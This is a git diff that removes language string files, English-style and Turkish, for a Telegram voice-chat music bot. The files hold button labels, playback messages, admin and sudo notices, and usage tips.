-stream_2 : "» **ᴩʟᴀʏɪɴɢ ᴠɪᴀ ᴜʀʟ** «\n\n💖 **ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ:** {0} "
-stream_3 : "» **sᴛᴀʀᴛᴇᴅ ᴩʟᴀʏɪɴɢ** «\n\n📌 **ᴛɪᴛʟᴇ:** {0}\n🕕 **ᴅᴜʀᴀᴛɪᴏɴ:** {1}\n💖 **ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ:** {2} "
-stream_4 : "» **sᴛᴀʀᴛᴇᴅ ᴩʟᴀʏɪɴɢ** «\n\n📌 **ᴛɪᴛʟᴇ:** [{0}]({1})\n🕕 **ᴅᴜʀᴀᴛɪᴏɴ:** {2}\n💖 **ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ:** {3} "
-
-# Inline Buttons
-
-#General Buttons
-CLOSE_BUTTON : "↻ ᴄʟᴏsᴇ ↻"
-CLOSEMENU_BUTTON : "↻ ᴄʟᴏsᴇ ↻"
-BACK_BUTTON : "◁"
-UNBAN_BUTTON : "• ᴜɴʙᴀɴ •"
-
-#Lyrics
-L_B_1 : "🚀 ᴄʜᴇᴄᴋᴏᴜᴛ ʟʏʀɪᴄs ɴᴏᴡ"
-
-# Start
-S_B_1 : "• ᴄᴏᴍᴍᴀɴᴅs •"
-S_B_2 : "• sᴇᴛᴛɪɴɢs •"
-S_B_3 : "• sᴜᴘᴘᴏʀᴛ •"
-S_B_4 : "• ᴄʜᴀɴɴᴇʟ •"
-S_B_5 : "• ᴀᴅᴅ ᴍᴇ ʙᴀʙʏ •"
-S_B_6 : "• sᴏᴜʀᴄᴇ •"
-S_B_7 : "• ᴏᴡɴᴇʀ •"
-S_B_8 : "• ʜᴇʟᴩ •"
-
-#Help
-H_B_1 : "🤨 ᴀᴅᴍɪɴ 🤨"
-H_B_2 : "😜 ᴘʟᴀʏ 😜"
-H_B_3 : "🤔 ʙᴏᴛ 🤔"
-H_B_4 : "😴 ᴇxᴛʀᴀ 😴"
-H_B_5 : "↻ ᴄʟᴏsᴇ ↻"
-H_B_6 : "🤤 sᴜᴅᴏ 🤤"
-
-#PlayMode
-PM_B_1 : "ᴅɪʀᴇᴄᴛ ᴘʟᴀʏ"
-PM_B_2 : "ɪɴʟɪɴᴇ ᴍᴀʀᴋᴜᴘ"
-PM_B_3 : "ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ"
-
-#Play
-P_B_1 : "🎧 ᴀᴜᴅɪᴏ 🎧"
-P_B_2 : "🎥 ᴠɪᴅᴇᴏ 🎥"
-P_B_3 : "🖤 ʟɪᴠᴇ 🖤"
-P_B_4 : "🌌 ᴘʟᴀʏʟɪsᴛ 🌌"
-
-#Playlist
-PL_B_1 : "🌌 ᴘʟᴀʏʟɪsᴛ 🌌"
-PL_B_2 : "• ᴘʟᴀʏʟɪsᴛs •"
-PL_B_3 : "• ᴍᴇɴᴜ •"
-PL_B_4 : "🎧 ᴘʟᴀʏ ᴍᴏᴅᴇ"
-PL_B_5 : "🗑 ᴅᴇʟᴇᴛᴇ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ"
-PL_B_6 : "🗑 ᴅᴇʟᴇᴛᴇ ᴘʟᴀʏʟɪsᴛ"
-PL_B_7 : "🥺 ʏᴇᴀʜ, ᴅᴇʟᴇᴛᴇ ɪᴛ"
-PL_B_8 : "🔢 ᴘʟᴀʏ ᴛᴏᴘ 10"
-PL_B_9 : "🔥 ᴘʟᴀʏ ɢʟᴏʙᴀʟ ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs"
-PL_B_10 : "🏘 ᴘʟᴀʏ ɢʀᴏᴜᴘ's ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs"
-PL_B_11 : "💖 ᴘʟᴀʏ ᴘᴇʀsᴏɴᴀʟ ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs"
-
-#Settings
-ST_B_1 : "🔊 ᴀᴜᴅ ǫᴜᴀʟɪᴛʏ"
-ST_B_2 : "🎥 ᴠɪᴅ ǫᴜᴀʟɪᴛʏ"
-ST_B_3 : "🎩 ᴀᴜᴛʜ ᴜsᴇʀs"
-ST_B_4 : "📱 ᴅᴀsʜʙᴏᴀʀᴅ"
-ST_B_5 : "▶️ ᴘʟᴀʏ ᴍᴏᴅᴇ"
-ST_B_6 : "🇮🇳 ʟᴀɴɢᴜᴀɢᴇ 🇮🇳"
-ST_B_7 : "🗑 ᴄʟᴇᴀɴ ᴍᴏᴅᴇ"
-ST_B_8 : "{0} ʟᴏᴡ"
-ST_B_9 : "{0} ᴍᴇᴅɪᴜᴍ"
-ST_B_10 : "{0} ʜɪɢʜ"
-ST_B_11 : "{0} ʟᴏᴡ"
-ST_B_12 : "{0} ᴍᴇᴅɪᴜᴍ"
-ST_B_13 : "{0} ʜɪɢʜ"
-ST_B_14 : "ᴏɴ 😋"
-ST_B_15 : "ᴏғғ 😒"
-ST_B_16 : "🥺 ᴀᴅᴍɪɴs"
-ST_B_17 : "🙄 ᴇᴠᴇʀʏᴏɴᴇ"
-ST_B_18 : "📋 ᴀᴜᴛʜ ʟɪsᴛ"
-ST_B_19 : "🔎 sᴇᴀʀᴄʜ ᴍᴏᴅᴇ"
-ST_B_20 : "🏓 ᴅɪʀᴇᴄᴛ"
-ST_B_21 : "🙄 ɪɴʟɪɴᴇ"
-ST_B_22 : "⏯ ᴘʟᴀʏ ᴍᴏᴅᴇ"
-ST_B_23 : "🏘 ɢʀᴏᴜᴘ"
-ST_B_24 : "🏷 ᴄʜᴀɴɴᴇʟ"
-ST_B_25 : "🫂 ᴘʟᴀʏ ᴛʏᴘᴇ"
-ST_B_26 : "🗑 ᴄᴏᴍᴍᴀɴᴅ ᴄʟᴇᴀɴ"
-ST_B_27 : "🧑🚀 sᴜɢɢᴇsᴛɪᴏɴ ᴍᴏᴅᴇ"
-
-#Song
-SG_B_1 : "• ᴄʟɪᴄᴋ ʜᴇʀᴇ •"
-SG_B_2 : "🎧 ᴀᴜᴅɪᴏ 🎧"
-SG_B_3 : "🎥 ᴠɪᴅᴇᴏ 🎥"
-
-#Stats
-SA_B_1 : "📢 ᴛᴏᴘ 10 ᴄʜᴀᴛs"
-SA_B_2 : "🔢 ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs"
-SA_B_3 : "🧛 ᴛᴏᴘ 10 ᴜsᴇʀs"
-SA_B_4 : "🏷 ᴛᴏᴘ 10 ʜᴇʀᴇ"
-SA_B_5 : "🍒 ᴏᴠᴇʀᴀʟʟ sᴛᴀᴛs"
-SA_B_6 : "💖 ᴜsᴇʀ sᴛᴀᴛs"
-SA_B_7 : "🔢 ɢʟᴏʙᴀʟ ᴛᴏᴘ 10 sᴛᴀᴛs"
-SA_B_8 : "🤖 ʙᴏᴛ sᴛᴀᴛs"
-
-#Queue
-QU_B_1 : "📑 ǫᴜᴇᴜᴇᴅ ʟɪsᴛ"
-QU_B_2 : "ᴩʟᴀʏᴇᴅ {0} ᴏᴜᴛ ᴏғ {1} ᴍɪɴs"
-
-# Sudo Users [ If you are translating this to some other language .. you can leave all these strings in english language]
-
-#Sudo
-sudo_1 : "{0} ɪs ᴀʟʀᴇᴀᴅʏ ᴀ sᴜᴅᴏ ᴜsᴇʀ."
-sudo_2 : "ᴀᴅᴅᴇᴅ **{0}** ᴛᴏ sᴜᴅᴏ ᴜsᴇʀs."
-sudo_3 : "ɴᴏᴛ ᴀ ᴘᴀʀᴛ ᴏꜰ ʙᴏᴛ's sᴜᴅᴏ."
-sudo_4 : "ʀᴇᴍᴏᴠᴇᴅ ꜰʀᴏᴍ ʙᴏᴛ's sᴜᴅᴏ ᴜsᴇʀ."
-sudo_5 : "💔 **ᴏᴡɴᴇʀs:**\n"
-sudo_6 : "\n💞 **sᴜᴅᴏᴇʀs:**\n"
-sudo_7 : "ɴᴏ sᴜᴅᴏ ᴜsᴇʀs ғᴏᴜɴᴅ."
-
-#Block
-block_1 : "{0} ɪs ᴀʟʀᴇᴀᴅʏ ʙʟᴏᴄᴋᴇᴅ ꜰʀᴏᴍ ᴛʜᴇ ʙᴏᴛ."
-block_2 : "ᴀᴅᴅᴇᴅ **{0}** ᴛᴏ ʙʟᴏᴄᴋ ʟɪsᴛ ᴏꜰ ʙᴏᴛ. ᴜsᴇʀ ᴡᴏɴ'ᴛ ʙᴇ ᴀʙʟᴇ ᴛᴏ ᴜsᴇ ʙᴏᴛ ɴᴏᴡ ᴜɴᴅᴇʀ ᴀɴʏ ᴄᴏɴᴅɪᴛɪᴏɴ.\n\nᴄʜᴇᴄᴋ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs: /blockedusers"
-block_3 : "ᴜsᴇʀ ɪs ᴀʟʀᴇᴀᴅʏ ꜰʀᴇᴇ."
-block_4 : "ʀᴇᴍᴏᴠᴇᴅ ᴜsᴇʀ ꜰʀᴏᴍ ᴛʜᴇ ʙʟᴏᴄᴋ ʟɪsᴛ. ᴜsᴇʀ ᴡɪʟʟ ʙᴇ ᴀʙʟᴇ ᴛᴏ ᴜsᴇ ʙᴏᴛ ɴᴏᴡ."
-block_5 : "ɴᴏ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ꜰᴏᴜɴᴅ."
-block_6 : "ɢᴇᴛᴛɪɴɢ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ...ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ !"
-block_7 : "**ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs:**\n\n"
-
-#Blacklist Chats
-black_1 : "**ᴜsᴀɢᴇ:**\n/blacklistchat [CHAT_ID]"
-black_2 : "ᴄʜᴀᴛ ɪs ᴀʟʀᴇᴀᴅʏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ."
-black_3 : "ᴄʜᴀᴛ ʜᴀs ʙᴇᴇɴ sᴜᴄᴄᴇssꜰᴜʟʟʏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ʙᴀʙʏ"
-black_4 : "**ᴜsᴀɢᴇ:**\n/whitelistchat [CHAT_ID]"
-black_5 : "ᴄʜᴀᴛ ɪs ᴀʟʀᴇᴀᴅʏ ᴡʜɪᴛᴇʟɪsᴛᴇᴅ."
-black_6 : "ᴄʜᴀᴛ ʜᴀs ʙᴇᴇɴ sᴜᴄᴄᴇssꜰᴜʟʟʏ ᴡʜɪᴛᴇʟɪsᴛᴇᴅ ʙᴀʙʏ"
-black_7 : "**ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs:**\n\n"
-black_8 : "ɴᴏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs."
-
-#videolimit
-vid_1 : "**ᴜsᴀɢᴇ:**\n/set_video_limit [ɴᴜᴍʙᴇʀ ᴏғ ᴄʜᴀᴛs] ᴏʀ [ᴅɪsᴀʙʟᴇ]"
-vid_2 : "ᴘʟᴇᴀsᴇ ᴜsᴇ ɴᴜᴍᴇʀɪᴄ ɴᴜᴍʙᴇʀs ꜰᴏʀ sᴇᴛᴛɪɴɢ ʟɪᴍɪᴛ."
-vid_3 : "ᴠɪᴅᴇᴏ ᴄᴀʟʟs ᴍᴀxɪᴍᴜᴍ ʟɪᴍɪᴛ ᴅᴇꜰɪɴᴇᴅ ᴛᴏ {0} ᴄʜᴀᴛs."
-vid_4 : "ᴠɪᴅᴇᴏ ᴄᴀʟʟs ᴅɪsᴀʙʟᴇᴅ."
-
-#maintenance
-maint_1 : "**ᴜsᴀɢᴇ:**\n/maintenance [enable|disable]"
-maint_2 : "ᴇɴᴀʙʟᴇᴅ ꜰᴏʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ."
-maint_3 : "ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴅɪsᴀʙʟᴇᴅ."
-
-#log
-log_1 : "**ᴜsᴀɢᴇ:**\n/logger [enable|disable]"
-log_2 : "ᴇɴᴀʙʟᴇᴅ ʟᴏɢɢɪɴɢ."
-log_3 : "ᴅɪsᴀʙʟᴇᴅ ʟᴏɢɢɪɴɢ."
-
-#videomode
-vidmode_1 : "**ᴜsᴀɢᴇ:**\n/videomode [download|m3u8]"
-vidmode_2 : "ᴠɪᴅᴇᴏ ᴘʟᴀʏ ᴍᴏᴅᴇ sᴇᴛ ᴀs ᴅᴏᴡɴʟᴏᴀᴅᴇʀ. ʙᴏᴛ ᴡɪʟʟ ʙᴇ ᴅᴏᴡɴʟᴏᴀᴅɪɴɢ ᴛʀᴀᴄᴋs ɴᴏᴡ."
-vidmode_3 : "ᴠɪᴅᴇᴏ ᴘʟᴀʏ ᴍᴏᴅᴇ sᴇᴛ ᴀs ᴍ3ᴜ8. ʙᴏᴛ ᴡɪʟʟ ʙᴇ ᴀʙʟᴇ ᴛᴏ ᴘʟᴀʏ ᴛʀᴀᴄᴋs ʟɪᴠᴇ ɴᴏᴡ."
-
-#broadcast
-broad_1 : "**ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ɪɴ {0} ᴄʜᴀᴛs ᴡɪᴛʜ {1} ᴘɪɴs ꜰʀᴏᴍ ʙᴏᴛ.**"
-broad_2 : "sᴛᴀʀᴛᴇᴅ ᴀssɪsᴛᴀɴᴛ ʙʀᴏᴀᴅᴄᴀsᴛ..."
-broad_3 : "**ᴀssɪsᴛᴀɴᴛ ʙʀᴏᴀᴅᴄᴀsᴛ:\n\n"
-broad_4 : "ᴀssɪsᴛᴀɴᴛ {0} ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ɪɴ {1} ᴄʜᴀᴛs\n"
-broad_5 : "**ᴜsᴀɢᴇ**:\n/broadcast [MESSAGE] or [Reply to a Message]"
-broad_6 : "ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ʙʀᴏᴀᴅᴄᴀsᴛ."
-broad_7 : "**ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ᴛᴏ {0} ᴜsᴇʀs.**"
-
-#Heroku
-heroku_1 : "ᴘʟᴇᴀsᴇ ᴍᴀᴋᴇ sᴜʀᴇ ʏᴏᴜʀ **ʜᴇʀᴏᴋᴜ ᴀᴘɪ ᴋᴇʏ**, ʏᴏᴜʀ **ᴀᴘᴘ ɴᴀᴍᴇ** ᴀʀᴇ ᴄᴏɴꜰɪɢᴜʀᴇᴅ ᴄᴏʀʀᴇᴄᴛʟʏ ɪɴ ʜᴇʀᴏᴋᴜ ʙᴀʙʏ"
-heroku_2 : "ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ɢᴇᴛ ʟᴏɢs ᴏꜰ ʜᴇʀᴏᴋᴜ ᴀᴘᴘs."
-heroku_3 : "**ᴜsᴀɢᴇ:**\n/get_var [Var Name]"
-heroku_4 : "ᴜɴᴀʙʟᴇ ᴛᴏ ꜰɪɴᴅ ᴀɴʏ sᴜᴄʜ ᴠᴀʀ."
-heroku_5 : ".ᴇɴᴠ ꜰɪʟᴇ ɴᴏᴛ ꜰᴏᴜɴᴅ."
-heroku_6 : "**ᴜsᴀɢᴇ:**\n/del_var [Var Name]"
-heroku_7 : "{0} ᴅᴇʟᴇᴛᴇᴅ."
-heroku_8 : "**ᴜsᴀɢᴇ:**\n/set_var [Var Name] [Var Value]"
-heroku_9 : "{0} ʜᴀs ʙᴇᴇɴ ᴜᴘᴅᴀᴛᴇᴅ sᴜᴄᴄᴇssꜰᴜʟʟʏ."
-heroku_10 : "{0} ʜᴀs ʙᴇᴇɴ ᴀᴅᴅᴇᴅ sᴜᴄᴄᴇssꜰᴜʟʟʏ."
-heroku_11 : "ᴏɴʟʏ ꜰᴏʀ ʜᴇʀᴏᴋᴜ ᴀᴘᴘs ʙᴀʙʏ."
-heroku_12 : "ᴄʜᴇᴄᴋɪɴɢ ʜᴇʀᴏᴋᴜ ᴜsᴀɢᴇ...ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ !"
-heroku_13 : "ᴄʜᴇᴄᴋɪɴɢ ꜰᴏʀ ᴀᴠᴀɪʟᴀʙʟᴇ ᴜᴘᴅᴀᴛᴇs..."
-heroku_14 : "ɢɪᴛ ᴄᴏᴍᴍᴀɴᴅ ᴇʀʀᴏʀ."
-heroku_15 : "ɪɴᴠᴀʟɪᴅ ɢɪᴛ ʀᴇᴘsɪᴛᴏʀʏ."
-
-#Private bot mode
-pbot_1 : "**ᴜsᴀɢᴇ:**\n/authorize [CHAT_ID]"
-pbot_2 : "**ᴜsᴀɢᴇ:**\n/unauthorize [CHAT_ID]"
-pbot_3 : "ᴀᴅᴅᴇᴅ ɢɪᴠᴇɴ ᴄʜᴀᴛ ᴛᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ʟɪsᴛ."
-pbot_4 : "ʀᴇᴍᴏᴠᴇᴅ ɢɪᴠᴇɴ ᴄʜᴀᴛ ꜰʀᴏᴍ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ʟɪsᴛ."
-pbot_5 : "ᴄʜᴀᴛ ɪs ᴀʟʀᴇᴀᴅʏ ɪɴ ᴛʜᴇ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ʟɪsᴛ."
-pbot_6 : "ɴᴏ sᴜᴄʜ ᴄʜᴀᴛ ᴇxɪsᴛs ɪɴ ᴛʜᴇ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ʟɪsᴛ."
-pbot_7 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴠᴇʀɪꜰʏ ᴄʜᴀᴛ_ɪᴅ.\n\nᴍᴀᴋᴇ sᴜʀᴇ ɪᴛs ɴᴜᴍᴇʀɪᴄ ᴀɴᴅ ɪɴ ᴄᴏʀʀᴇᴄᴛ ꜰᴏʀᴍᴀᴛ. ᴅᴏɴ'ᴛ ᴜsᴇ ᴄʜᴀᴛ ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʟɪɴᴋs."
-pbot_8 : "ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...ꜰᴇᴛᴄʜɪɴɢ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴄʜᴀᴛs.."
-pbot_9 : "**ꜰᴇᴛᴄʜᴇᴅ ᴄʜᴀᴛs:**\n\n"
-pbot_10 : "ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ"
-pbot_11 : "ɴᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴄʜᴀᴛs ꜰᴏᴜɴᴅ."
-pbot_12 : "ᴘʀɪᴠᴀᴛᴇ ʙᴏᴛ ᴍᴏᴅᴇ ɪs ᴅɪsᴀʙʟᴇᴅ.\n\nᴛᴏ ᴜsᴇ ʏᴏᴜʀ ʙᴏᴛ ᴀs ᴘʀɪᴠᴀᴛᴇ ʙᴏᴛ ᴍᴀᴋᴇ sᴜʀᴇ ᴛᴏ sᴇᴛ **ᴘʀɪᴠᴀᴛᴇ_ʙᴏᴛ_ᴍᴏᴅᴇ** = **ᴛʀᴜᴇ**"
-pbot_13 : "\n**ᴜɴꜰᴇᴛᴄʜᴇᴅ ᴄʜᴀᴛs:**\n\n"
-
-
-#Gbanned
-gban_1 : "ʏᴏᴜ ᴄᴀɴ'ᴛ ɢʙᴀɴ ʏᴏᴜʀsᴇʟғ ? ʙʟᴏᴏᴅʏ ɴᴏᴏʙ !"
-gban_2 : "ʏᴏᴜ ᴡᴀɴᴛ ᴍᴇ ᴛᴏ ɢʙᴀɴ ᴍʏsᴇʟғ ? ʙʟᴏᴏᴅʏ ᴍᴏᴛʜᴇʀғᴜ*ᴋᴇʀ."
-gban_3 : "ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ɢʙᴀɴ ᴍʏ ᴇx ?"
-gban_4 : "{0} ɪs ᴀʟʀᴇᴀᴅʏ **ɢʙᴀɴɴᴇᴅ** ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ."
-gban_5 : "**ɢʟᴏʙᴀʟ ʙᴀɴɴɪɴɢ {0}**\n\nᴇxᴩᴇᴄᴛᴇᴅ ᴛɪᴍᴇ : {1}."
-gban_6 : "**ɢʙᴀɴɴᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ**\n\nʙᴀɴɴᴇᴅ **{0}** ғʀᴏᴍ **{1}** ᴄʜᴀᴛs."
-gban_7 : "{0} ɪs ɴᴏᴛ **ɢʙᴀɴɴᴇᴅ **, ʜᴏᴡ ᴄᴀɴ ɪ ᴜɴɢʙᴀɴ ʜɪᴍ ?"
-gban_8 : "**ᴜɴɢʙᴀɴɴɪɴɢ {0}**\n\nᴇxᴩᴇᴄᴛᴇᴅ ᴛɪᴍᴇ : {1}."
-gban_9 : "**ᴜɴɢʙᴀɴɴᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ**\n\nᴜɴʙᴀɴɴᴇᴅ **{0}** ɪɴ **{1}** ᴄʜᴀᴛs."
-gban_10 : "ɴᴏ ᴏɴᴇ ɪs ɢʙᴀɴɴᴇᴅ."
-gban_11 : "ɢᴇᴛᴛɪɴɢ ɢʙᴀɴɴᴇᴅ ᴜsᴇʀs ʟɪsᴛ..."
-
-#Suggestions
-sug_0 : "❓**Do You Know?**\n\n✅ "
-sug_1 : "You can play music in two **search modes** i.e. Direct Mode and Inline Mode.\n\nChange modes via /playmode"
-sug_2 : "You can play music in two **play types** i.e. Everyone Mode and Admins Mode.\n\nChange modes via /playmode"
-sug_3 : "You can play music in **channels** too.\n\nSet channel_id via /channelplay and play via /cplay "
-sug_4 : "Non Admins can use admin commands too by adding them to** AUTH USERS LIST**. \nAdd any user to auth list by /auth , remove with /unauth and check auth users via /authusers"
-sug_5 : "Bot has a feature called **Clean Mode**.\nIt deletes the bot's messages after 5 Mins and ensures that your chat remains clean.\n\nEnable or disable cleanmode from /settings [__Enabled by default__]"
-sug_6 : "You can play **Spotify** tracks and playlists too.\n\nStart playing now with /play [Spotify Link]"
-sug_7 : "You can play **Apple Music** tracks and playlists too.\n\nStart playing now with /play [Apple Link]"
-sug_8 : "You can play **Resso Music** tracks and playlists too.\n\nStart playing now with /play [Resso Link]"
-sug_9 : "You can play **Sound Cloud** tracks and playlists too.\n\nStart playing now with /play [SoundCloud Link]"
-sug_10 : "You can play **Videos** in voice chat via /vplay [Video Name] or /play -v [Video Name]"
-sug_11 : "You can set **Audio Quality** of voice chat to Low, Medium or High.\n\nSet quality via /settings"
-sug_12 : "You can set **Video Quality** of voice chat to Low, Medium or High.\n\nSet quality via /settings"
-sug_13 : "You can check your **Statistics** on bot like Top 10 Played Tracks.\n\nGet Stats: /gstats "
-sug_14 : "You can check **Group's Stats** on bot like Top 10 Played Tracks.\n\nGet Stats: /gstats "
-sug_15 : "You can check bot's **Global Stats** like top 10 users, top 10 chats, top 10 tracks etc etc.\n\nCheck Stats: /gstats "
-sug_16 : "You can now mute the music which is playing on voice chat.\n\nCommand: /mute"
-sug_17 : "You can now unmute and mute the music which is playing on voice chat.\n\nCommand: /mute and /unmute"
-sug_18 : "You can search the lyrics of musics with us too..\n\nCommand: /lyrics [Music Name]"
-sug_19 : "You can download the music or video from the bot through Youtube.\n\nCommand: /song [Music Name]"
-sug_20 : "You can get a complete list of my commands that i accept.\n\nCommand: /help"
-sug_21 : "Bot has server-sided playlist option.\n\nYou can add music in your playlist and play them all together via /play"
-sug_22 : "You can now shuffle the queued musics on the bot.\n\nCommand: /shuffle"
-sug_23 : "You can check the queue of the musics.\n\nCommand: /queue"
-sug_24 : "You can check my owner and sudo users who manage me.\n\nCommand: /sudolist"
-sug_25 : "Bot has a feature called **Commands Delete Mode**. It deletes its executed commands automatically.\n\nEnable or disable deletemode from /settings [__Enabled by default__]"
-sug_26 : "You can change language of the bot to available languages for easy understanding.\n\nCommand: /language"
-sug_27 : "Bot has a feature called **Force Play**.\n\n**Force Play** stops the playing track on voice chat and starts playing the searched track instantly without disturbing/clearing queue.\n\nCommand: /playforce"
diff --git a/strings/langs/tr.yml b/strings/langs/tr.yml
deleted file mode 100644
index b52aac4..0000000
--- a/strings/langs/tr.yml
+++ /dev/null
@@ -1,417 +0,0 @@
-name : 🇹🇷 Turkish
-
-# General Strings
-general_1 : "Bir kullanıcının mesajını yanıtlayın veya username/user_id verin."
-general_2 : "Hata! Komutun Yanlış Kullanımı."
-general_3 : "Sorgunuz işlenirken bazı **istisnalar oluştu**.\n\nİstisna Türü:- {0}"
-general_4 : "Bu sohbet grubunda isimsiz bir yöneticisiniz!\nYönetici Haklarından Kullanıcı Hesabına geri dönün."
-general_5 : "Bu eylemi gerçekleştirmek için sesli sohbet haklarına sahip yönetici olmanız gerekir."
-general_6 : "Bot sesli sohbette yayın yapmıyor."
-
-# Classes - Telegram.py
-tg_1 : "Bot şu anda indirilenlerle **aşırı yüklenmiş**.\n\n**Deneme Süresi:** {0} (__beklenen süre__))"
-tg_2 : "Failed to download the media from telegram."
-
-# Core - Call.py
-call_1 : "Bot, asistan hesabını kanalınıza davet etmek için **Yönetici** İzni gerektirir.\n\nKanal oynatma modunu şununla devre dışı bırakın: : /playmode"
-call_2 : "Asistan, grubunuz veya kanalınızda yasaklanmış, lütfen yasağı kaldırın.\n\n**Asistan Kullanıcı Adı:** @{0}\n**Asistan Kimliği:** {1}"
-call_3 : "Asistan Hesabını sohbetinize davet ederken İstisna Oluştu.\n\n**Nedeni**: {0}"
-call_4 : "Bot, asistan hesabını sohbet grubunuza davet etmek için **Kullanıcıları Bağlantı Yoluyla Davet Et** İzni gerektirir."
-call_5 : "Asistan Hesabı 5 Saniye içinde katılacak.. Lütfen Bekleyin!"
-call_6 : "Asistan Hesabı[{0}] Başarıyla Katıldı.\n\nMüzik Şimdi Başlatılıyor"
-call_7 : "**Zararlı Yönetici Hakkı Verildi **\n\nLütfen ** KULLANICILARI YASAK** haklarını bottan kaldırın."
-call_8 : "**Zararlı Yönetici Hakkı Verildi **\n\nLütfen bottan **YENİ YÖNETİCİLER EKLE** haklarını kaldırın."
-call_9 : "**Yayın değiştirilemedi**\nParçayı tekrar değiştirmek için /skip butonunu kullanın."
-call_10 : "Oynatma Listesinden Sonraki Parçayı İndirme"
-
-# PLUGINS - Auth.py
-auth_1 : "Grubunuzun Yetkili Kullanıcılar Listesinde yalnızca 20 Kullanıcınız olabilir (AUL)"
-auth_2 : "Grubunuzun Yetkili Kullanıcılar Listesine Eklendi."
-auth_3 : "Zaten Yetkili Kullanıcılar Listesinde."
-auth_4 : "Bu Grubun Yetkili Kullanıcılar Listesinden Kaldırıldı."
-auth_5 : "Hedeflenen kullanıcı Yetkili Kullanıcı değil."
-auth_6 : "Yetkili Kullanıcılar Alınıyor... Lütfen Bekleyin"
-auth_7 : "**Yetkili Kullanıcılar Listesi[AUL]:**\n\n"
-auth_8 : "┗ Tarafından eklendi:-"
-
-# PLUGINS - Admins
-admin_1 : "Müzik zaten Duraklatıldı."
-admin_2 : "🎧 Sesli Sohbet Duraklatıldı {}!"
-admin_3 : "Müzik zaten yeniden başlatıldı."
-admin_4 : "🎧 Sesli Sohbeti Sürdüren {}!"
-admin_5 : "Müziğin sesi zaten kapalı."
-admin_6 : "🎧 Sesli Sohbetin Sesi Kapatıldı {}!"
-admin_7 : "Müziğin sesi zaten açıldı."
-admin_8 : "🎧 Sesli Sohbetin Sesi Açıldı {}!"
-admin_9 : "🎧 Sesli Sohbeti Bitiren/Durduran {}!"
-admin_10 : "🎧 Sesli Sohbet {} tarafından atlandı!. Sırada Artık Müzik Yok."
-admin_11 : "Akış **{0}** olarak değiştirilirken hata oluştu\n\nLütfen /skip komutunu tekrar kullanın."
-admin_12 : "Döngü çalmanın etkinleştirilmesi nedeniyle belirli bir parçaya geçilemiyor. Bu özelliği kullanmak için lütfen döngüsel oynatmayı `/loop disable` üzerinden devre dışı bırakın."
-admin_13 : "Lütfen 1, 2 veya 4 gibi belirli parçalar için sayısal sayılar kullanın."
-admin_14 : "Belirli bir numaraya atlamak için sırada en az 2 parça gerekir. /queue ile sırayı kontrol et"
-admin_15 : "Verdiğiniz değer için sırada yeterli parça yok. Lütfen 1 ile {0} arasında bir sayı seçin"
-admin_16 : "Belirli bir parçaya geçilemedi.\n\nSırayı /queue göre kontrol edin"
-admin_17 : "{0}.. Lütfen bekleyin"
-admin_18 : "Yönetici Listesi Bulunamadı\n\nLütfen yönetici listesini /admincache veya /reload yoluyla yeniden yükleyin"
-admin_19 : "Bunu gerçekleştirmek için sesli sohbet haklarına sahip yönetici olmanız gerekir.\nZaten yöneticiyseniz, /admincache aracılığıyla admincache'i yeniden yükleyin "
-admin_20 : "Yönetici önbelleği başarıyla yeniden yüklendi."
-admin_21 : "Sırada karıştırılacak bir şey yok"
-admin_22 : "Karıştırılamadı.\n\nSırayı kontrol edin: /queue"
-admin_23 : "**Sıra Karıştırıldı: {0}**\n\nKarıştırılan sırayı kontrol edin: /queue"
-admin_24 : "**Kullanım:**\n/loop [enable/disable] veya [1-10 arası sayı]\n\n**Örnek:** /loop 5"
-admin_25 : "Döngü, {0} tarafından **{1}** kez etkinleştirildi. Bot şimdi sesli sohbette çalmakta olan müziği **{1}** kez tekrarlayacak"
-admin_26 : "Döngü oynatma için lütfen 1-10 arasındaki sayıları kullanın"
-admin_27 : "Döngü Oynatma devre dışı bırakıldı"
-
-# Bot
-# Start
-start_1 : "Beni {0}'e davet ettiğiniz için teşekkürler.\n{1} çalışıyor.\n\nHerhangi bir yardım için destek grubumuza veya kanalımıza göz atın.."
